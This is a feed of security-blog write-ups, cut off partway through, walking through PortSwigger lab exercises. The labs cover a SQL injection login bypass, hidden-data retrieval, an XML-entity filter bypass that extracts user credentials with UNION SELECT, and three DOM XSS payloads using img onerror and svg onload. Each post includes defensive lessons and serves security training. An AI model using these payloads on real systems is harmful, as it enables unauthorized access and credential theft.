    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The username field changes the login predicate itself: administrator’ or ‘1’&#x3D;’1’ – makes the predicate true and comments the password clause, producing an administrator session. Commenting the password comparison leaves a true administrator condition.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection vulnerability allowing login bypass</strong> through the endpoint and input recorded in the lab note. <code>administrator&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the predicate true and comments the password clause, producing an administrator session.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>administrator&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the predicate true and comments the password clause, producing an administrator session.</p><figure><img src="/images/portswigger/sql-injection/lab-login-bypass/step-1.png" alt="`administrator&#x27; or &#x27;1&#x27;=&#x27;1&#x27; --` makes the predicate true and comments the password clause, producing an administrator session."><figcaption>`administrator' or '1'='1' --` makes the predicate true and comments the password clause, producing an administrator session.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>administrator&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the predicate true and comments the password clause, producing an administrator session. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Submit the administrator username with the quoted true predicate and SQL comment in the username field while supplying any password value. Confirm that the resulting session belongs to administrator rather than treating a redirect alone as proof.</p><figure><img src="/images/portswigger/sql-injection/lab-login-bypass/step-2.png" alt="Submit the administrator username with the quoted true predicate and SQL comment in the username field while supplying any password value. Confirm that the resulting session belongs to administrator rather than treating a redirect alone as proof."><figcaption>Submit the administrator username with the quoted true predicate and SQL comment in the username field while supplying any password value. Confirm that the resulting session belongs to administrator rather than treating a redirect alone as proof.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>administrator&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the predicate true and comments the password clause, producing an administrator session. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication SQL injection provides immediate account takeover. Build login queries with parameters, compare password hashes only after an exact user lookup, and monitor malformed usernames containing SQL operators or comments.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Inject the login username predicate to comment out password verification and learn how the altered SQL authenticates the administrator account.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-hidden-data/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-retrieve-hidden-data/</id>
    <published>2026-07-05T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The category value controls both category selection and the release predicate: the inferred query ends with AND released &#x3D; 1; Accessories’ or ‘1’&#x3D;’1’ – makes the WHERE clause true and comments that release check. The injected true branch comments out <code>released = 1</code>, causing hidden products to appear.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</strong> through the endpoint and input recorded in the lab note. The inferred query ends with <code>AND released = 1</code>; <code>Accessories&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the WHERE clause true and comments that release check.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the inferred query ends with <code>AND released = 1</code>; <code>Accessories&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the WHERE clause true and comments that release check.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-hidden-data/step-1.png" alt="The inferred query ends with `AND released = 1`; `Accessories&#x27; or &#x27;1&#x27;=&#x27;1&#x27; --` makes the WHERE clause true and comments that release check."><figcaption>The inferred query ends with `AND released = 1`; `Accessories' or '1'='1' --` makes the WHERE clause true and comments that release check.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The inferred query ends with <code>AND released = 1</code>; <code>Accessories&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the WHERE clause true and comments that release check. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Compare the ordinary Accessories listing with the same category followed by the true predicate and comment. Verify the bypass by the additional unreleased product rows, not merely by a successful status code.<br>The ordinary listing is the control; the newly visible product names are the evidence that the trailing release condition no longer governs the query.</p><figure><img src="/images/portswigger/sql-injection/lab-retrieve-hidden-data/step-2.png" alt="The unmodified category=Accessories URL shows only released rows from the products table, including Werewolf Wacker, as the SQL WHERE-clause control."><figcaption>The unmodified category=Accessories URL shows only released rows from the products table, including Werewolf Wacker, as the SQL WHERE-clause control.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-retrieve-hidden-data/step-3.png" alt="The category parameter appends a true OR 1=1 predicate and SQL comment; additional unreleased product cards appear, proving the released filter was removed."><figcaption>The category parameter appends a true OR 1=1 predicate and SQL comment; additional unreleased product cards appear, proving the released filter was removed.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the inferred query ends with <code>AND released = 1</code>; <code>Accessories&#39; or &#39;1&#39;=&#39;1&#39; --</code> makes the WHERE clause true and comments that release check. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A WHERE-clause flaw can bypass publication and tenancy constraints. Parameterize category input and enforce release visibility through a separate, non-user-controlled policy layer.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Inject a tautology into the category filter and learn how it removes both the selected-category predicate and the released-product restriction.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>SQL injection with filter bypass via XML encoding</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-sql-injection-with-filter-bypass-via-xml-encoding/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-sql-injection-with-filter-bypass-via-xml-encoding/</id>
    <published>2026-07-05T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The XML stock API evaluates <code>storeId</code> as SQL while its filter examines a different representation: storeId&#x3D;1+2 is evaluated; raw UNION is blocked as Attack detected, but Hackvertor XML hex entities decode before the database and allow UNION SELECT username||’:’||password FROM users –. Entity decoding restores the blocked UNION after inspection.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SQL injection with filter bypass via XML encoding</strong> through the endpoint and input recorded in the lab note. <code>storeId=1+2</code> is evaluated; raw UNION is blocked as <code>Attack detected</code>, but Hackvertor XML hex entities decode before the database and allow <code>UNION SELECT username||&#39;:&#39;||password FROM users --</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>storeId=1+2</code> is evaluated; raw UNION is blocked as <code>Attack detected</code>, but Hackvertor XML hex entities decode before the database and allow <code>UNION SELECT username||&#39;:&#39;||password FROM users --</code>.</p><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-1.png" alt="The stock-check XML request evaluates arithmetic in storeId, demonstrating that the element reaches a SQL expression context."><figcaption>The stock-check XML request evaluates arithmetic in storeId, demonstrating that the element reaches a SQL expression context.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-2.png" alt="A raw UNION SELECT in storeId is rejected with Attack detected before the XML-encoding bypass is applied."><figcaption>A raw UNION SELECT in storeId is rejected with Attack detected before the XML-encoding bypass is applied.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-3.png" alt="Hackvertor converts the inert SQL string `UNION SELECT username||&#x27;:&#x27;||password FROM users --` into XML hexadecimal entities."><figcaption>Hackvertor converts the inert SQL string `UNION SELECT username||':'||password FROM users --` into XML hexadecimal entities.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>storeId=1+2</code> is evaluated; raw UNION is blocked as <code>Attack detected</code>, but Hackvertor XML hex entities decode before the database and allow <code>UNION SELECT username||&#39;:&#39;||password FROM users --</code>. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Prove expression evaluation with <code>storeId=1+2</code>, observe that a raw UNION triggers <code>Attack detected</code>, then encode the UNION payload as XML hex entities before submitting it in the stock body. Read the concatenated user credentials from the decoded query result.</p><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-4.png" alt="The raw storeId UNION request is blocked by the application filter and returns the visible Attack detected response."><figcaption>The raw storeId UNION request is blocked by the application filter and returns the visible Attack detected response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-5.png" alt="Hackvertor encodes the username-and-password UNION query as XML character entities for the storeId element."><figcaption>Hackvertor encodes the username-and-password UNION query as XML character entities for the storeId element.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-6.png" alt="Repeater sends the entity-encoded query in storeId so XML decoding reconstructs the SQL after filter inspection."><figcaption>Repeater sends the entity-encoded query in storeId so XML decoding reconstructs the SQL after filter inspection.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding/step-7.png" alt="The stock response displays concatenated users credentials, including the administrator value used to complete the lab."><figcaption>The stock response displays concatenated users credentials, including the administrator value used to complete the lab.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>storeId=1+2</code> is evaluated; raw UNION is blocked as <code>Attack detected</code>, but Hackvertor XML hex entities decode before the database and allow <code>UNION SELECT username||&#39;:&#39;||password FROM users --</code>. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Canonicalization gaps let encoded SQL pass a signature filter. Parse and normalize once, validate the normalized value, and still use a parameterized query; a WAF must not be the data layer’s only defense.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Send XML-encoded SQL through the stock-check storeId element and learn how post-filter entity decoding restores a UNION query that extracts user credentials.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS in document.write sink using source location.search inside a select element</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-document-write-sink-inside-select-element/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-document-write-sink-inside-select-element/</id>
    <published>2026-07-05T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The store selector is assembled with <code>document.write</code> from <code>location.search</code>: the stock page builds an option from location.search; closing the select with <code>&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</code> creates an image whose error handler fires. Closing the option and select contexts allows a real image element with an error handler to enter the DOM.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>DOM XSS in document.write sink using source location.search inside a select element</strong> through the endpoint and input recorded in the lab note. The stock page builds an option from <code>location.search</code>; closing the select with <code>&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</code> creates an image whose error handler fires.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the stock page builds an option from <code>location.search</code>; closing the select with <code>&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</code> creates an image whose error handler fires.</p><figure><img src="/images/portswigger/xss/lab-document-write-sink-inside-select-element/step-1.png" alt="The product stock page reads storeId from location.search and uses document.write to place it inside a generated option element."><figcaption>The product stock page reads storeId from location.search and uses document.write to place it inside a generated option element.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-document-write-sink-inside-select-element/step-2.png" alt="The inert payload string `&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;` closes the option and select before creating an image handler."><figcaption>The inert payload string `"&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;` closes the option and select before creating an image handler.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The stock page builds an option from <code>location.search</code>; closing the select with <code>&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</code> creates an image whose error handler fires. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Open a product stock page, identify the query value copied into the generated option, and supply the select-closing payload. Inspect the resulting DOM to confirm that the injected <code>img</code> is outside the select and that its failed source invokes <code>alert(1)</code>.</p><figure><img src="/images/portswigger/xss/lab-document-write-sink-inside-select-element/step-3.png" alt="The product URL carries the encoded storeId select-breakout payload into the document.write-generated stock selector."><figcaption>The product URL carries the encoded storeId select-breakout payload into the document.write-generated stock selector.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-document-write-sink-inside-select-element/step-4.png" alt="Developer Tools shows the injected img outside the closed select, with src 1 and an onerror alert handler."><figcaption>Developer Tools shows the injected img outside the closed select, with src 1 and an onerror alert handler.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-document-write-sink-inside-select-element/step-5.png" alt="Browser alert dialog showing 1 after storeId escapes the generated select and the inserted image source fails."><figcaption>Browser alert dialog showing 1 after storeId escapes the generated select and the inserted image source fails.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the stock page builds an option from <code>location.search</code>; closing the select with <code>&quot;&gt;&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</code> creates an image whose error handler fires. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>DOM XSS in a select-building sink executes in the site’s origin. Replace <code>document.write</code> with <code>createElement</code> and <code>textContent</code>, and constrain query-derived values to known store identifiers.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Trace storeId from location.search into document.write inside a select, then learn how closing the option and select creates an executable image error handler.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS in document.write sink using source location.search</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-document-write-sink/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-document-write-sink/</id>
    <published>2026-07-05T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The search page writes <code>location.search</code> into a tracker image string: client JavaScript creates a tracker image from location.search; <code>&quot;&gt;&lt;svg onload=alert(1)&gt;</code> breaks the attribute&#x2F;tag context and creates an executable SVG handler. The quote and tag terminator escape that generated attribute before the SVG handler is parsed.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>DOM XSS in document.write sink using source location.search</strong> through the endpoint and input recorded in the lab note. Client JavaScript creates a tracker image from <code>location.search</code>; <code>&quot;&gt;&lt;svg onload=alert(1)&gt;</code> breaks the attribute&#x2F;tag context and creates an executable SVG handler.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>client JavaScript creates a tracker image from <code>location.search</code>; <code>&quot;&gt;&lt;svg onload=alert(1)&gt;</code> breaks the attribute&#x2F;tag context and creates an executable SVG handler.</p><figure><img src="/images/portswigger/xss/lab-document-write-sink/step-1.png" alt="The search page script reads location.search and interpolates it into the src attribute of a tracker image passed to document.write."><figcaption>The search page script reads location.search and interpolates it into the src attribute of a tracker image passed to document.write.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-document-write-sink/step-2.png" alt="The inert payload string `&quot;&gt;&lt;svg onload=alert(1)&gt;` closes the tracker img attribute and tag before introducing an SVG onload handler."><figcaption>The inert payload string `"&gt;&lt;svg onload=alert(1)&gt;` closes the tracker img attribute and tag before introducing an SVG onload handler.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Client JavaScript creates a tracker image from <code>location.search</code>; <code>&quot;&gt;&lt;svg onload=alert(1)&gt;</code> breaks the attribute&#x2F;tag context and creates an executable SVG handler. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Inspect the client script to locate the tracker <code>img</code> construction, submit the quote-closing SVG payload as the search term, and verify in the DOM that the tracker markup ends before a new SVG element whose <code>onload</code> calls <code>alert(1)</code>.</p><figure><img src="/images/portswigger/xss/lab-document-write-sink/step-3.png" alt="The submitted search URL contains the encoded quote-closing SVG payload consumed by the document.write tracker sink."><figcaption>The submitted search URL contains the encoded quote-closing SVG payload consumed by the document.write tracker sink.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-document-write-sink/step-4.png" alt="Browser developer tools show the generated tracker img followed by the injected svg element whose onload handler calls alert(1)."><figcaption>Browser developer tools show the generated tracker img followed by the injected svg element whose onload handler calls alert(1).</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when client JavaScript creates a tracker image from <code>location.search</code>; <code>&quot;&gt;&lt;svg onload=alert(1)&gt;</code> breaks the attribute&#x2F;tag context and creates an executable SVG handler. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>String-built HTML turns query text into executable markup. Remove <code>document.write</code>; create the image through DOM APIs and assign attacker-influenced data only to validated properties.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Trace location.search into a document.write-built tracker image and learn how closing its quoted src attribute creates an SVG onload handler.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS in innerHTML sink using source location.search</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-innerhtml-sink/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-innerhtml-sink/</id>
    <published>2026-07-05T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The browser assigns attacker input to an HTML-parsing sink: an injected <code>&lt;script&gt;</code> does not execute through innerHTML, but <code>&lt;img src=1 onerror=alert(1)&gt;</code> creates an element and fires its error handler. The contrast between inert script text and the generated image handler shows which element type executes through this sink.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>DOM XSS in innerHTML sink using source location.search</strong> through the endpoint and input recorded in the lab note. An injected <code>&lt;script&gt;</code> does not execute through innerHTML, but <code>&lt;img src=1 onerror=alert(1)&gt;</code> creates an element and fires its error handler.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>an injected <code>&lt;script&gt;</code> does not execute through innerHTML, but <code>&lt;img src=1 onerror=alert(1)&gt;</code> creates an element and fires its error handler.</p><figure><img src="/images/portswigger/xss/lab-innerhtml-sink/step-1.png" alt="The search page displays ordinary location.search text in the innerHTML result div before any markup is tested."><figcaption>The search page displays ordinary location.search text in the innerHTML result div before any markup is tested.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-innerhtml-sink/step-2.png" alt="A script element inserted through innerHTML remains inert, establishing that this sink does not execute inserted script tags."><figcaption>A script element inserted through innerHTML remains inert, establishing that this sink does not execute inserted script tags.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>An injected <code>&lt;script&gt;</code> does not execute through innerHTML, but <code>&lt;img src=1 onerror=alert(1)&gt;</code> creates an element and fires its error handler. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Trace the search value from <code>location.search</code> into <code>innerHTML</code>, test the non-executing script element, then use the image error-handler payload. Confirm that the browser creates an <code>img</code> node and fires <code>onerror</code> when its invalid source fails.</p><figure><img src="/images/portswigger/xss/lab-innerhtml-sink/step-3.png" alt="The image payload `&lt;img src=1 onerror=alert(1)&gt;` is supplied through location.search for the innerHTML assignment."><figcaption>The image payload `&lt;img src=1 onerror=alert(1)&gt;` is supplied through location.search for the innerHTML assignment.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-innerhtml-sink/step-4.png" alt="Developer Tools shows the innerHTML sink created an img element with src 1 and an onerror alert handler."><figcaption>Developer Tools shows the innerHTML sink created an img element with src 1 and an onerror alert handler.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-innerhtml-sink/step-5.png" alt="Browser alert dialog showing 1 after the malformed image source triggers onerror on the element created by innerHTML."><figcaption>Browser alert dialog showing 1 after the malformed image source triggers onerror on the element created by innerHTML.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when an injected <code>&lt;script&gt;</code> does not execute through innerHTML, but <code>&lt;img src=1 onerror=alert(1)&gt;</code> creates an element and fires its error handler. The captured result and the Academy solved state provide the verification; an 